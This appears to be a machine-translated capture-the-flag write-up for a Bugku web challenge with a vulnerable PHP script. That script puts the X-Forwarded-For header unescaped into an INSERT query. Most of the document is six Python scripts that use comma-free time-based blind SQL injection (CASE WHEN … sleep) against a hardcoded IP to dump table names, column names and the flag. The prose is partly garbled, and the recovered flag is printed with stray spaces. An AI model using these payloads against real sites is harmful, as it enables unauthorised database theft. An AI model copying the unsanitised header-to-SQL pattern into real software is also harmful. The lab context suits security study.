bugku-Web-INSERT INTO注入(case注入テクニック(カンマでフィルタリングされた遅延ブラインド注入)+遅延注入スクリプト)

5056 ワード

flag  :flag{xxxxxxxxxxxx}
    Python 

error_reporting(0);

function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip);
return $ip_arr[0];

}

$host="localhost";
$user="";
$pass="";
$db="";

$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");

mysql_select_db($db) or die("Unable to select database");

$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);

明らかに、ipはxffヘッダまたはRemote-addrから得られ、insert into文でこのipをクエリーし、注入文をこのipに追加して注入することができます.
誤報盲注を試みたが,エコーがなくbool盲注も試みたが,length(database()の値はいくらページに設定しても誤報がないことが分かった.
最後に遅延盲注が残っており,単純に庫長を判断したところ,遅延反応が認められ,庫長が5であると判断できた.
上のコードのipはカンマをフィルタリングされているので、ブラインドコメントを遅延するときにif文を使用することはできません.
case when thenのみを使用できます.残りの部分はif遅延ブラインドと同じです.次にスクリプトを示します.(mysqlは大文字と小文字を区別しません)
1、爆連合表長(庫長があって、しかも庫名はdatabase()で代用することができて、もう庫名を爆発しないで、爆発したいなら自分で爆発することができます:web 15)
import requests

dic = '0123456789abcdefghijklmnopqrstuvwxyz_'
url = 'http://123.206.87.240:8002/web15/'
xff = "'+(select case when(substr((select group_concat(table_name separator '@') from information_schema.tables where table_schema=database()) from {0} for 1)='')then sleep(4) else 1 end) + '1"
for i in range(1, 30):
    try:
        headers = {'x-forwarded-for':xff.format(i)}
        r = requests.get(url, headers=headers, timeout = 3)
    except requests.exceptions.ReadTimeout:
        print(i)
        break

結果は15であるため,連合表長は14である.
2、爆連合表名
import requests

dic = '0123456789abcdefghijklmnopqrstuvwxyz_@'
url = 'http://123.206.87.240:8002/web15/'
xff = "'+(select case when(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()) from {0} for 1)='{1}')then sleep(4) else 1 end) + '1"
table = ''
for i in range(1, 15):
    for j in dic:
        try:
            headers = {'x-forwarded-for':xff.format(i, j)}
            r = requests.get(url, headers=headers, timeout = 3)
        except requests.exceptions.ReadTimeout:
            table += j
            print(table)
print(table)

結果:client_ip@flag
3、爆連合列長
import requests

dic = '0123456789abcdefghijklmnopqrstuvwxyz_'
url = 'http://123.206.87.240:8002/web15/'
xff = "'+(select case when(substr((select group_concat(column_name separator '@') from information_schema.columns where table_name='flag') from {0} for 1)='')then sleep(4) else 1 end) + '1"
for i in range(1, 30):
    try:
        headers = {'x-forwarded-for':xff.format(i)}
        r = requests.get(url, headers=headers, timeout = 3)
    except requests.exceptions.ReadTimeout:
        print(i)
        break

列の長さを4にする
4、爆連合列名
import requests

dic = '0123456789abcdefghijklmnopqrstuvwxyz_@'
url = 'http://123.206.87.240:8002/web15/'
xff = "'+(select case when(substr((select group_concat(column_name separator '@') from information_schema.columns where table_name='flag') from {0} for 1)='{1}')then sleep(4) else 1 end) + '1"
column = ''
for i in range(1, 5):
    for j in dic:
        try:
            headers = {'x-forwarded-for':xff.format(i, j)}
            r = requests.get(url, headers=headers, timeout = 3)
        except requests.exceptions.ReadTimeout:
            column += j
            print(column)
print(column)

列はflagという列しかありません.
5、爆発内容の長さ
import requests

dic = '0123456789abcdefghijklmnopqrstuvwxyz_'
url = 'http://123.206.87.240:8002/web15/'
xff = "'+(select case when(substr((select flag from flag) from {0} for 1)='')then sleep(4) else 1 end) + '1"
for i in range(1, 50):
    try:
        headers = {'x-forwarded-for':xff.format(i)}
        r = requests.get(url, headers=headers, timeout = 3)
        print(i)
    except requests.exceptions.ReadTimeout:
        print(i)
        break

取得内容長32
6、爆発内容(即ちflag)
import requests

dic = '0123456789abcdefghijklmnopqrstuvwxyz_'
url = 'http://123.206.87.240:8002/web15/'
xff = "'+(select case when(substr((select flag from flag) from {0} for 1)='{1}')then sleep(4) else 1 end) + '1"
dump = ''
for i in range(1, 33):
    for j in dic:
        try:
            headers = {'x-forwarded-for':xff.format(i, j)}
            r = requests.get(url, headers=headers, timeout = 3)
        except requests.exceptions.ReadTimeout:
            dump += j
            print(dump)
print(dump)

cdbf 14 c 9551 d 5 be 5612 f 7 bb 5 d 2867853